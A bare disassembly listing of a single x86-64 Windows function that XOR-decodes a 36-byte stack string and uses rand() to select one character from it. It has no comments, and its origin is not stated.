movdqa xmm0, xmmword [str.KMOMK]
xor eax, eax
movdqa xmm1, xmmword [0x1402d6ee0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0xe4e4e4ec
movdqu xmmword [rsp + 0x30], xmm1
mov word [rsp + 0x44], 0x100
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x7b]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x24
jb 0x1400814d0
movdqa xmm0, xmmword [0x1402d6a40]
lea rax, [rsp + 0x20]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x45], 0
mov r8, 0xffffffffffffffff
mov byte [rsp + 0x48], 0
inc r8
cmp byte [rax + r8], 0
jne 0x140081504
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.14007c5d0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
movabs rax, 0x842108421084211
and r8d, 0x1f
mul r8
mov ecx, r8d
lea rax, [rsp + 0x48]
sub rcx, rdx
shr rcx, 1
add rcx, rdx
mov rdx, qword [rsp + 0x60]
shr rcx, 4
imul rcx, rcx, 0x1f
sub r8, rcx
mov rcx, qword [rsp + 0x48]
cmp rdx, 0x10
cmovae rax, rcx
movzx ebx, byte [rax + r8 + 1]
jb 0x14008159d
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140081598
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140081598
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008762c
movzx eax, bl
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140087600
add rsp, 0x70
pop rbx
ret